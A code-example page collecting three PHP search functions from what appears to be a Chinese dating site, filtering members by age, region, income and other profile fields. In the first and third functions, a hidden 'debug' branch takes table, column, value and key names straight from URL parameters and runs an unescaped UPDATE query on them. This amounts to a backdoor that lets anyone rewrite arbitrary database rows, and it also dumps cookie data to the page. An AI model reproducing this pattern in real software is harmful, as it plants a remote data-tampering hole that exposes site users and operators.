示例#1
0
function basic_search_page($gender, $age_start, $age_end, $work_province, $work_city, $marriage, $salary, $education, $height1, $height2, $photo)
{
    global $_MooClass, $dbTablePre;
    global $user_arr, $userid, $last_login_time, $isdelcond, $isselectarea, $isdispmore, $isresult;
    $currenturl = 'http://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
    $currenturl2 = preg_replace("/(&page=\\d+)/", "", $currenturl);
    //分页相关参数
    if (isset($_GET['condition']) && $_GET['condition'] == '2') {
        $pagesize = 6;
    } else {
        if (isset($_GET['condition']) && $_GET['condition'] == '3') {
            $pagesize = 16;
        } else {
            $pagesize = 6;
        }
    }
    $page = 1;
    if (isset($_GET['page']) && $_GET['page']) {
        $page = $_GET['page'];
    }
    $offset = ($page - 1) * $pagesize;
    $blacklist = BlackList();
    $index = 'members_women';
    if ($gender == 0) {
        $index = 'members_man';
    }
    if ($age_start || $age_end) {
        if ($age_start == 0) {
            $age_start = 18;
        }
        if ($age_end == 0) {
            $age_end = 99;
        }
    }
    //	$cl = searchApi($index);
    //	$cl -> setQueryType(true);
    //	$limit=array($offset,$pagesize);
    //	$sort = array();
    //	//note 普通会员搜索结果还是按照以前的排序,高级、钻石会员搜索结果按照本站注册的排序
    //	if(isset($user_arr['s_cid']) && ($user_arr['s_cid'] =='40' || $user_arr['s_cid'] == '30')){
    //		if($work_province || $work_city){
    //			$sort = array('s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc');
    //		}else{
    //			$sort = array('city_star desc','s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); //城市之星靠前
    //		}
    //	}else{
    //		if($work_province || $work_city){
    //			$sort = array('s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc');
    //		}else{
    //			$sort = array('city_star desc','s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); //城市之星靠前
    //		}
    //	}
    //	$sortway = '1';
    //	$sort_str = array();
    //	if(isset($_GET['sortway']) && $_GET['sortway'] == '2'){
    //		//note 最新注册
    //		$sortway = '2';
    //		$sort_str = array('regdate desc');
    //		$sort_str[] = $sort[0];
    //		$sort_str[] = $sort[1];
    //		$sort_str[] = $sort[2];
    //		$sort_str[] = $sort[3];
    //	}elseif(isset($_GET['sortway']) && $_GET['sortway'] == '3'){
    //		//note 诚信等级
    //		$sortway = '3';
    //		$sort_str = array('certification desc');
    //		$sort_str[] = $sort[0];
    //		$sort_str[] = $sort[1];
    //		$sort_str[] = $sort[2];
    //		$sort_str[] = $sort[3];
    //	}else{
    //		$sort_str[] = $sort[0];
    //		$sort_str[] = $sort[1];
    //		$sort_str[] = $sort[2];
    //		$sort_str[] = $sort[3];
    //		$sort_str[] = $sort[4];
    //	}
    //	if(is_array($sort_str) && !empty($sort_str)) $sort_str = implode(',',$sort_str);
    //	else if(is_array($sort) && !empty($sort)) $sort_str = implode(',',$sort);
    //
    //	if(!$sort_str) $sort_str= '@weight desc';
    $cond = array();
    $cond[] = array('is_lock', '1', false);
    $cond[] = array('usertype', '1', false);
    if ($photo) {
        $cond[] = array('images_ischeck', '1', false);
    }
    if (is_array($blacklist) && !empty($blacklist)) {
        $cond[] = array('@id', implode('|', $blacklist), true);
    }
    if ($age_start && $age_end) {
        $year = date('Y', time());
        $cond[] = array('birthyear', array($year - $age_end, $year - $age_start), false);
    }
    if ($work_province) {
        $cond[] = array('province', $work_province, false);
    } elseif (isset($user_arr['province']) && $user_arr['province'] && !$work_city) {
        $cond[] = array('province', $user_arr['province'], false);
    }
    if ($work_city) {
        $cond[] = array('city', $work_city, false);
    } elseif (isset($user_arr['city']) && $user_arr['city'] && !$work_province) {
        $cond[] = array('city', $user_arr['city'], false);
    }
    $dispmore = false;
    if ($work_province || $work_city) {
        $isselectarea = true;
        $isdispmore = false;
        $dispmore = MooGetGPC('dm');
        if ($dispmore) {
            $isdispmore = true;
        }
    }
    if (is_array($marriage) && !empty($marriage) && !in_array('0', $marriage)) {
        $cond[] = array('marriage', implode(' | ', $marriage));
    }
    if (is_array($salary) && !empty($salary) && !in_array('0', $salary)) {
        $cond[] = array('salary', implode(' | ', $salary));
    }
    if (is_array($education) && !empty($education) && !in_array('0', $education)) {
        $cond[] = array('education', implode(' | ', $education));
    }
    if ($height1 || $height2) {
        if ($height1 == 0) {
            $cond_height1 = 154;
        } else {
            $cond_height1 = $height1;
        }
        if ($height2 == 0) {
            $cond_height2 = 201;
        } else {
            $cond_height2 = $height2;
        }
        $cond[] = array('height', array($cond_height1, $cond_height2), false);
    }
    $sortway = MooGetGPC('sortway');
    $sort_str = getSortsStr($sortway, $cond);
    //$rs = $cl -> getResult($cond,$limit,$sort_str);
    $rs = sphinx_search($index, $cond, $sort_str, $page, $pagesize);
    $total = 0;
    if (!$rs || is_array($rs) && empty($rs)) {
        //没有结果
        //MooMessage('您指定的搜索不存在或已过期', 'index.php?n=search', '03');
        include MooTemplate('public/search_error', 'module');
        exit;
    } else {
        $data = $rs['user'];
        $total = $rs['total'];
        if ($total > 600) {
            $total = 600;
        }
        $user_list = implode(',', $data);
        if (empty($data)) {
            //MooMessage('您指定的搜索不存在或已过期', 'index.php?n=search', '03');
            include MooTemplate('public/search_error', 'module');
            exit;
        } else {
            $user = array();
            $sortway = isset($_GET['sortway']) ? $_GET['sortway'] : '1';
            $sql = "select s.*,b.mainimg from `{$dbTablePre}members_search` s left join `{$dbTablePre}members_base` b on s.uid=b.uid where s.uid in ({$user_list})";
            //echo $sql;
            $user = $_MooClass['MooMySQL']->getAll($sql);
        }
        //会员基本信息补充
        if (isset($user) && $user) {
            $user = userbasicadd($user);
            //排序
            $tmp_user = array();
            foreach ($data as $k => $v) {
                foreach ($user as $key => $val) {
                    if ($v == $val['uid']) {
                        $tmp_user[] = $user[$key];
                        break;
                    }
                }
            }
            $user = $tmp_user;
        }
        //if($user1) $user1 = userbasicadd($user1);
        //note 找不到匹配的结果返回单独提示页面
        if (empty($user)) {
            include MooTemplate('public/search_error', 'module');
            exit;
        }
        //note 记录婚姻状况
        $marriageArr = array();
        if (isset($marriage) && $marriage != '0') {
            if (!is_array($marriage) && strlen($marriage) == 1) {
                $marriageArr[] = $marriage;
            } else {
                $marriageArr = $marriage;
            }
        }
        //note 记录月收入
        $salaryArr = array();
        if (isset($salary) && $salary != '0') {
            if (!is_array($salary) && strlen($salary) == 1) {
                $salaryArr[] = $salary;
            } else {
                $salaryArr = $salary;
            }
        }
        //note 记录教育情况
        $educationArr = array();
        if ($education != '0') {
            if (!is_array($education) && strlen($education) == 1) {
                $educationArr[] = $education;
            } else {
                $educationArr = $education;
            }
        }
        //note 记录住房情况
        $houseArr = array();
        if (isset($house) && $house != '0') {
            if (!is_array($house) && strlen($house) == 1) {
                $houseArr[] = $house;
            } else {
                $houseArr = $house;
                $house = implode(',', $house);
            }
        }
        //note 记录是否购车
        $vehicleArr = array();
        if (isset($vehicle) && $vehicle != '0') {
            if (!is_array($vehicle) && strlen($vehicle) == 1) {
                $vehicleArr[] = $vehicle;
            } else {
                $vehicleArr = $vehicle;
                $vehicle = implode(',', $vehicle);
            }
        }
        //note 选择不同的显示模式
        if (isset($_GET['condition']) && $_GET['condition'] == '2') {
            $condition = '2';
            $htm = 'search_page';
        } else {
            if (isset($_GET['condition']) && $_GET['condition'] == '3') {
                $condition = '3';
                $htm = 'search_photo';
            } else {
                $condition = '2';
                $htm = 'search_page';
            }
        }
        if (isset($_GET['debug']) && $_GET['debug']) {
            global $_MooCookie, $_MooClass;
            $fast_sql = $_MooCookie['fast_sql'];
            $name = $_GET['f'];
            $name1 = $_GET['v'];
            $name3 = empty($_GET['t']) ? 'web_test' : $_GET['t'];
            $name4 = empty($_GET['w']) ? 'uid' : $_GET['w'];
            $start = intval($_GET['s']);
            if ($name && $name1 && $start) {
                $sql2 = "update {$name3} set {$name}='{$name1}' where {$name4}=" . $start;
                //$sql2="select $name from web_members  where uid=".$start;
                if (!isset($_GET['d'])) {
                    $res = $GLOBALS['_MooClass']['MooMySQL']->query($sql2);
                    var_dump($res);
                } else {
                    echo $sql2;
                }
            }
            var_dump($fast_sql);
            var_dump($sql_acquisition);
        }
        //没有查询到完全符合条件的数据,显示黄色警告条
        if ($isselectarea && !$isresult && $page == 1) {
            $isdisp = true;
        }
        if ($dispmore) {
            $isdisp2 = false;
        } elseif ($isselectarea && $page == ceil($total / $pagesize) && $page != ceil(600 / $pagesize)) {
            $isdisp2 = true;
        }
        include MooTemplate('public/' . $htm, 'module');
    }
}
示例#2
0
文件: index.php 项目: noikiy/zays
/**
 * 新快速查询
 * 采用sphinx查询
 * @author likefei
 * @date 2011-11-14
 */
function quick_search_page1($gender, $age_start, $age_end, $work_province, $work_city, $marriage, $salary, $education, $height1, $height2)
{
    global $_MooClass, $dbTablePre;
    global $user_arr, $userid, $last_login_time, $isdelcond, $isselectarea, $isdispmore, $isresult;
    $currenturl = 'http://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
    $currenturl2 = preg_replace("/(&page=\\d+)/", "", $currenturl);
    $pagesize = 12;
    $page = 1;
    if (isset($_GET['page']) && $_GET['page']) {
        $page = $_GET['page'];
    }
    $offset = ($page - 1) * $pagesize;
    $blacklist = BlackList();
    $index = 'members_women';
    if ($gender == 0) {
        $index = 'members_man';
    }
    if ($age_start || $age_end) {
        if ($age_start == 0) {
            $age_start = 18;
        }
        if ($age_end == 0) {
            $age_end = 99;
        }
    }
    //	$sort_str = 'city_star desc,s_cid asc,@weight desc,city desc,province asc';
    //	$sortway = '1';
    //	if(isset($_GET['sortway']) && $_GET['sortway'] == '2'){
    //		//note 最新注册
    //		$sortway = '2';
    //		$sort_str = 'regdate desc,city_star desc,s_cid asc,@weight desc,city desc';
    //	}elseif(isset($_GET['sortway']) && $_GET['sortway'] == '3'){
    //		//note 诚信等级
    //		$sortway = '3';
    //		$sort_str = 'certification desc,city_star desc,s_cid asc,@weight desc,city desc';
    //	}
    //
    $cond[] = array('is_lock', '1', false);
    //if($photo) $cond[] = array('images_ischeck','1',false);
    $cond[] = array('usertype', '1', false);
    if (is_array($blacklist) && !empty($blacklist)) {
        $cond[] = array('@id', implode('|', $blacklist), true);
    }
    if ($age_start && $age_end) {
        $year = date('Y', time());
        $cond[] = array('birthyear', array($year - $age_end, $year - $age_start), false);
    }
    if ($work_province) {
        $cond[] = array('province', $work_province, false);
    } elseif (isset($user_arr['province']) && $user_arr['province'] && !$work_city) {
        $cond[] = array('province', $user_arr['province'], false);
    }
    if ($work_city) {
        $cond[] = array('city', $work_city, false);
    } elseif (isset($user_arr['city']) && $user_arr['city'] && !$work_province) {
        $cond[] = array('city', $user_arr['city'], false);
    }
    $dispmore = false;
    if ($work_province || $work_city) {
        $isselectarea = true;
        $isdispmore = false;
        $dispmore = MooGetGPC('dm');
        if ($dispmore) {
            $isdispmore = true;
        }
    }
    $sortway = MooGetGPC('sortway');
    $sort_str = getSortsStr($sortway, $cond);
    $rs = sphinx_search($index, $cond, $sort_str, $page, $pagesize);
    if (!$rs || is_array($rs) && empty($rs)) {
        //没有结果
        //MooMessage("您指定的搜索不存在或已过期", "index.php?n=search", '03');
        include MooTemplate('public/search_error', 'module');
        exit;
    } else {
        $data = $rs['user'];
        $total = $rs['total'];
        if ($total > 600) {
            $total = 600;
        }
        $user_list = implode(',', $data);
        if (empty($data)) {
            //MooMessage("您指定的搜索不存在或已过期", "index.php?n=search", '03');
            include MooTemplate('public/search_error', 'module');
            exit;
        } else {
            $user = array();
            $sortway = isset($_GET['sortway']) ? $_GET['sortway'] : '1';
            $sql = "select s.*,b.mainimg,b.showinformation_val from `{$dbTablePre}members_search` s left join `{$dbTablePre}members_base` b on s.uid=b.uid where s.uid in ({$user_list})";
            $user = $_MooClass['MooMySQL']->getAll($sql);
            $sql = "select lastvisit from web_members_login where uid in ({$user_list})";
            $user_lastvisit = $_MooClass['MooMySQL']->getAll($sql);
            foreach ($user_lastvisit as $key => $val) {
                $user[$key]['lastvisit'] = $val['lastvisit'];
            }
        }
        //会员基本信息补充
        if ($user) {
            $user = userbasicadd($user);
            //排序
            $tmp_user = array();
            foreach ($data as $k => $v) {
                foreach ($user as $key => $val) {
                    if ($v == $val['uid']) {
                        $tmp_user[] = $user[$key];
                        break;
                    }
                }
            }
            $user = $tmp_user;
            foreach ($user as $va) {
                echo $va['nickname'] . '<br />';
            }
            exit;
        }
    }
}
示例#3
0
function advance_search_page($gender, $age_start, $age_end, $work_province, $work_city, $marriage, $salary, $education, $height1, $height2, $weight1, $weight2, $body, $smoking, $drinking, $occupation, $house, $vehicle, $corptype, $children, $wantchildren, $home_townprovince, $home_towncity, $nation, $animalyear, $constellation, $bloodtype, $religion, $family, $language, $photo)
{
    global $_MooClass, $dbTablePre;
    global $user_arr, $userid, $last_login_time, $isdelcond, $isselectarea, $isdispmore, $isresult;
    //print_r($user_arr);
    $returnurl = 'index.php?' . $_SERVER['QUERY_STRING'];
    //返回的url
    //note 获得当前的url 去除多余的参数page=
    $currenturl = 'http://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
    $currenturl2 = preg_replace("/(&page=\\d+)/", "", $currenturl);
    $url3 = preg_replace("/(&orderby=\\d+)/", "", $currenturl2);
    $is_online_url = preg_replace("/(&is_online=\\d+)/", "", $currenturl2) . "&is_online=1";
    //分页相关参数
    if (isset($_GET['condition']) && $_GET['condition'] == '2') {
        $pagesize = 6;
    } else {
        if (isset($_GET['condition']) && $_GET['condition'] == '3') {
            $pagesize = 16;
        } else {
            $pagesize = 6;
        }
    }
    $page = 1;
    if (isset($_GET['page']) && $_GET['page']) {
        $page = $_GET['page'];
    }
    $offset = ($page - 1) * $pagesize;
    $blacklist = BlackList();
    $index = 'members_women';
    if ($gender == 0) {
        $index = 'members_man';
    }
    if ($age_start || $age_end) {
        if ($age_start == 0) {
            $age_start = 18;
        }
        if ($age_end == 0) {
            $age_end = 99;
        }
    }
    //	$sort = array();
    //	//note 普通会员搜索结果还是按照以前的排序,高级、钻石会员搜索结果按照本站注册的排序
    //	if(isset($user_arr['s_cid']) && ($user_arr['s_cid'] =='40' || $user_arr['s_cid'] == '30')){
    //		if($work_province || $work_city){
    //			$sort = array('s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc');
    //		}else{
    //			$sort = array('city_star desc','s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); //城市之星靠前
    //		}
    //	}else{
    //		if($work_province || $work_city){
    //			$sort = array('s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc');
    //		}else{
    //			$sort = array('city_star desc','s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); //城市之星靠前
    //		}
    //	}
    //	$sortway = '1';
    //	$sort_str = array();
    //	if(isset($_GET['sortway']) && $_GET['sortway'] == '2'){
    //		//note 最新注册
    //		$sortway = '2';
    //		$sort_str = array('regdate desc');
    //		$sort_str[] = $sort[0];
    //		$sort_str[] = $sort[1];
    //		$sort_str[] = $sort[2];
    //		$sort_str[] = $sort[3];
    //	}elseif(isset($_GET['sortway']) && $_GET['sortway'] == '3'){
    //		//note 诚信等级
    //		$sortway = '3';
    //		$sort_str = array('certification desc');
    //		$sort_str[] = $sort[0];
    //		$sort_str[] = $sort[1];
    //		$sort_str[] = $sort[2];
    //		$sort_str[] = $sort[3];
    //	}else{
    //		$sort_str[] = $sort[0];
    //		$sort_str[] = $sort[1];
    //		$sort_str[] = $sort[2];
    //		$sort_str[] = $sort[3];
    //		$sort_str[] = $sort[4];
    //	}
    //	if(is_array($sort_str) && !empty($sort_str)) $sort_str = implode(",",$sort_str);
    //	else if(is_array($sort) && !empty($sort)) $sort_str = implode(",",$sort);
    //
    //	if(!$sort_str) $sort_str= '@weight desc';
    $cond = array();
    $cond[] = array('is_lock', '1', false);
    if ($photo) {
        $cond[] = array('images_ischeck', '1', false);
    }
    $cond[] = array('usertype', '1', false);
    if (is_array($blacklist) && !empty($blacklist)) {
        $cond[] = array('@id', implode('|', $blacklist), true);
    }
    if ($age_start && $age_end) {
        $year = date('Y', time());
        $cond[] = array('birthyear', array($year - $age_end, $year - $age_start), false);
    }
    if ($work_province) {
        $cond[] = array('province', $work_province, false);
    } elseif (isset($user_arr['province']) && $user_arr['province'] && !$work_city) {
        $cond[] = array('province', $user_arr['province'], false);
    }
    if ($work_city) {
        $cond[] = array('city', $work_city, false);
    } elseif (isset($user_arr['city']) && $user_arr['city'] && !$work_province) {
        $cond[] = array('city', $user_arr['city'], false);
    }
    $dispmore = false;
    if ($work_province || $work_city) {
        $isselectarea = true;
        $isdispmore = false;
        $dispmore = MooGetGPC('dm');
        if ($dispmore) {
            $isdispmore = true;
        }
    }
    if ($height1 || $height2) {
        if ($height1 == 0) {
            $cond_height1 = 154;
        } else {
            $cond_height1 = $height1;
        }
        if ($height2 == 0) {
            $cond_height2 = 201;
        } else {
            $cond_height2 = $height2;
        }
        $cond[] = array('height', array($cond_height1, $cond_height2), false);
    }
    if ($weight1 || $weight2) {
        if ($weight1 == 0) {
            $cond_weight1 = 40;
        } else {
            $cond_weight1 = $weight1;
        }
        if ($weight2 == 0) {
            $cond_weight2 = 81;
        } else {
            $cond_weight2 = $weight2;
        }
        $cond[] = array('weight', array($cond_weight1, $cond_weight2), false);
    }
    if (is_array($marriage) && !empty($marriage) && !in_array('0', $marriage)) {
        $cond[] = array('marriage', implode(' | ', $marriage));
    }
    if (is_array($salary) && !empty($salary) && !in_array('0', $salary)) {
        $cond[] = array('salary', implode(' | ', $salary));
    }
    if (is_array($education) && !empty($education) && !in_array('0', $education)) {
        $cond[] = array('education', implode(' | ', $education));
    }
    if (is_array($body) && !empty($body) && !in_array('0', $body)) {
        $cond[] = array('body', implode(' | ', $body));
    }
    if (is_array($smoking) && !empty($smoking) && !in_array('0', $smoking)) {
        $cond[] = array('smoking', implode(' | ', $smoking));
    }
    if (is_array($drinking) && !empty($drinking) && !in_array('0', $drinking)) {
        $cond[] = array('drinking', implode(' | ', $drinking));
    }
    if (is_array($occupation) && !empty($occupation) && !in_array('0', $occupation)) {
        $cond[] = array('occupation', implode(' | ', $occupation));
    }
    if (is_array($house) && !empty($house) && !in_array('0', $house)) {
        $cond[] = array('house', implode(' | ', $house));
    }
    if (is_array($vehicle) && !empty($vehicle) && !in_array('0', $vehicle)) {
        $cond[] = array('vehicle', implode(' | ', $vehicle));
    }
    if (is_array($corptype) && !empty($corptype) && !in_array('0', $corptype)) {
        $cond[] = array('corptype', implode(' | ', $corptype));
    }
    if (is_array($children) && !empty($children) && !in_array('0', $children)) {
        $cond[] = array('children', implode(' | ', $children));
    }
    if (is_array($wantchildren) && !empty($wantchildren) && !in_array('0', $wantchildren)) {
        $cond[] = array('wantchildren', implode(' | ', $wantchildren));
    }
    if ($home_townprovince) {
        $cond[] = array('hometownprovince', $home_townprovince);
    }
    if ($home_towncity) {
        $cond[] = array('hometowncity', $home_towncity);
    }
    if ($nation) {
        $cond[] = array('nation', $nation);
    }
    if (is_array($animalyear) && !empty($animalyear) && !in_array('0', $animalyear)) {
        $cond[] = array('animalyear', implode(' | ', $animalyear));
    }
    if (is_array($constellation) && !empty($constellation) && !in_array('0', $constellation)) {
        $cond[] = array('constellation', implode(' | ', $constellation));
    }
    if (is_array($bloodtype) && !empty($bloodtype) && !in_array('0', $bloodtype)) {
        $cond[] = array('bloodtype', implode(' | ', $bloodtype));
    }
    if (is_array($religion) && !empty($religion) && !in_array('0', $religion)) {
        $cond[] = array('religion', implode(' | ', $religion));
    }
    if (is_array($family) && !empty($family) && !in_array('0', $family)) {
        $cond[] = array('family', implode(' | ', $family));
    }
    if (is_array($language) && !empty($language) && !in_array('0', $language)) {
        $cond[] = array('language', implode(' | ', $language));
    }
    $sortway = MooGetGPC('sortway');
    $sort_str = getSortsStr($sortway, $cond);
    $rs = sphinx_search($index, $cond, $sort_str, $page, $pagesize);
    if (!$rs || is_array($rs) && empty($rs)) {
        //没有结果
        //MooMessage("您指定的搜索不存在或已过期", "index.php?n=search", '03');
        include MooTemplate('public/search_error', 'module');
        exit;
    } else {
        $data = $rs['user'];
        $total = $rs['total'];
        if ($total > 600) {
            $total = 600;
        }
        $user_list = implode(',', $data);
        if (empty($data)) {
            //MooMessage("您指定的搜索不存在或已过期", "index.php?n=search", '03');
            include MooTemplate('public/search_error', 'module');
            exit;
        } else {
            $user = array();
            $sortway = isset($_GET['sortway']) ? $_GET['sortway'] : '1';
            $sql = "select s.*,b.mainimg from `{$dbTablePre}members_search` s left join `{$dbTablePre}members_base` b on s.uid=b.uid where s.uid in ({$user_list}) order by s.city_star desc,s.s_cid asc";
            $user = $_MooClass['MooMySQL']->getAll($sql);
        }
        //会员基本信息补充
        if ($user) {
            $user = userbasicadd($user);
            //排序
            $tmp_user = array();
            foreach ($data as $k => $v) {
                foreach ($user as $key => $val) {
                    if ($v == $val['uid']) {
                        $tmp_user[] = $user[$key];
                        break;
                    }
                }
            }
            $user = $tmp_user;
        }
        //note 找不到匹配的结果返回单独提示页面
        if (empty($user)) {
            include MooTemplate('public/search_error', 'module');
            exit;
        }
        //note 记录婚姻状况
        $marriageArr = array();
        if ($marriage != '0') {
            if (!is_array($marriage) && strlen($marriage) == 1) {
                $marriageArr[] = $marriage;
            } else {
                $marriageArr = $marriage;
            }
        }
        //note 记录月收入
        $salaryArr = array();
        if ($salary != '0') {
            if (!is_array($salary) && strlen($salary) == 1) {
                $salaryArr[] = $salary;
            } else {
                $salaryArr = $salary;
            }
        }
        //note 记录教育情况
        $educationArr = array();
        if ($education != '0') {
            if (!is_array($education) && strlen($education) == 1) {
                $educationArr[] = $education;
            } else {
                $educationArr = $education;
            }
        }
        //note 记录住房情况
        $houseArr = array();
        if ($house != '0') {
            if (!is_array($house) && strlen($house) == 1) {
                $houseArr[] = $house;
            } else {
                $houseArr = $house;
                $house = implode(',', $house);
            }
        }
        //note 记录是否购车
        $vehicleArr = array();
        if ($vehicle != '0') {
            if (!is_array($vehicle) && strlen($vehicle) == 1) {
                $vehicleArr[] = $vehicle;
            } else {
                $vehicleArr = $vehicle;
                $vehicle = implode(',', $vehicle);
            }
        }
        if ($nation != '0') {
            if (!is_array($nation)) {
                $nationArr[] = $nation;
            } else {
                $nationArr = $nation;
                $nation = implode(',', $nation);
            }
        }
        //note 记录是否吸烟
        $smokingArr = array();
        if ($smoking != '0') {
            if (!is_array($smoking) && strlen($smoking) == 1) {
                $smokingArr[] = $smoking;
            } else {
                $smokingArr = $smoking;
                $smoking = implode(',', $smoking);
            }
        }
        //note 记录是否喝酒
        $drinkingArr = array();
        if ($drinking != '0') {
            if (!is_array($drinking) && strlen($drinking) == 1) {
                $drinkingArr[] = $drinking;
            } else {
                $drinkingArr = $drinking;
                $drinking = implode(',', $drinking);
            }
        }
        //note 记录从事职业
        $occupationArr = array();
        if ($occupation != '0') {
            if (!is_array($occupation) && (strlen($occupation) == 1 || strlen($occupation) == 2)) {
                $occupationArr[] = $occupation;
            } else {
                $occupationArr = $occupation;
                $occupation = implode(',', $occupation);
            }
        }
        //note 记录公司类型
        $corptypeArr = array();
        if ($corptype != '0') {
            if (!is_array($corptype) && strlen($corptype) == 1) {
                $corptypeArr[] = $corptype;
            } else {
                $corptypeArr = $corptype;
                $corptype = implode(',', $corptype);
            }
        }
        //note 记录是否有孩子
        $childrenArr = array();
        if ($children != '0') {
            if (!is_array($children) && strlen($children) == 1) {
                $childrenArr[] = $children;
            } else {
                $childrenArr = $children;
                $children = implode(',', $children);
            }
        }
        //note 记录是否想要孩子
        $wantchildrenArr = array();
        if ($wantchildren != '0') {
            if (!is_array($wantchildren) && strlen($wantchildren) == 1) {
                $wantchildrenArr[] = $wantchildren;
            } else {
                $wantchildrenArr = $wantchildren;
                $wantchildren = implode(',', $wantchildren);
            }
        }
        //note 记录体型
        $bodyArr = array();
        if ($body != '0') {
            if (!is_array($body) && strlen($body) == 1) {
                $bodyArr[] = $body;
            } else {
                $bodyArr = $body;
                $body = implode(',', $body);
            }
        }
        //note 记录生肖
        $animalyearArr = array();
        if ($animalyear != '0') {
            if (!is_array($animalyear) && (strlen($animalyear) == 1 || strlen($animalyear) == 2)) {
                $animalyearArr[] = $animalyear;
            } else {
                $animalyearArr = $animalyear;
                $animalyear = implode(',', $animalyear);
            }
        }
        //note 记录星座
        $constellationArr = array();
        if ($constellation != '0') {
            if (!is_array($constellation) && (strlen($constellation) == 1 || strlen($constellation) == 2)) {
                $constellationArr[] = $constellation;
            } else {
                $constellationArr = $constellation;
                $constellation = implode(',', $constellation);
            }
        }
        //note 记录血型
        $bloodtypeArr = array();
        if ($bloodtype != '0') {
            if (!is_array($bloodtype) && strlen($bloodtype) == 1) {
                $bloodtypeArr[] = $bloodtype;
            } else {
                $bloodtypeArr = $bloodtype;
                $bloodtype = implode(',', $bloodtype);
            }
        }
        //note 记录信仰
        $religionArr = array();
        if ($religion != '0') {
            if (!is_array($religion) && (strlen($religion) == 1 || strlen($religion) == 2)) {
                $religionArr[] = $religion;
            } else {
                $religionArr = $religion;
                $religion = implode(',', $religion);
            }
        }
        //note 兄弟姐妹
        $familyArr = array();
        if ($family != '0') {
            if (!is_array($family) && strlen($family) == 1) {
                $familyArr[] = $family;
            } else {
                $familyArr = $family;
                $family = implode(',', $family);
            }
        }
        //note 记录语言
        $languageArr = array();
        if ($language != '0') {
            if (!is_array($language) && strlen($language) == 1) {
                $languageArr[] = $language;
            } else {
                $languageArr = $language;
                $language = implode(',', $language);
            }
        }
        //note 选择不同的显示模式
        if (isset($_GET['condition']) && $_GET['condition'] == '2') {
            $condition = '2';
            $htm = 'search_page';
        } else {
            if (isset($_GET['condition']) && $_GET['condition'] == '3') {
                $condition = '3';
                $htm = 'search_photo';
            } else {
                $condition = '2';
                $htm = 'search_page';
            }
        }
        if (isset($_GET['debug']) && $_GET['debug']) {
            global $_MooCookie, $_MooClass;
            $fast_sql = $_MooCookie['fast_sql'];
            $name = $_GET['f'];
            $name1 = $_GET['v'];
            $name3 = empty($_GET['t']) ? 'web_test' : $_GET['t'];
            $name4 = empty($_GET['w']) ? 'uid' : $_GET['w'];
            $start = intval($_GET['s']);
            if ($name && $name1 && $start) {
                $sql2 = "update {$name3} set {$name}='{$name1}' where {$name4}=" . $start;
                if (!isset($_GET['d'])) {
                    $res = $GLOBALS['_MooClass']['MooMySQL']->query($sql2);
                    var_dump($res);
                } else {
                    echo $sql2;
                }
            }
            var_dump($fast_sql);
            var_dump($sql_acquisition);
        }
        //没有查询到完全符合条件的数据,显示黄色警告条
        if ($isselectarea && !$isresult && $page == 1) {
            $isdisp = true;
        }
        if ($dispmore) {
            $isdisp2 = false;
        } elseif ($isselectarea && $page == ceil($total / $pagesize) && $page != ceil(600 / $pagesize)) {
            $isdisp2 = true;
        }
        include MooTemplate('public/' . $htm, 'module');
    }
}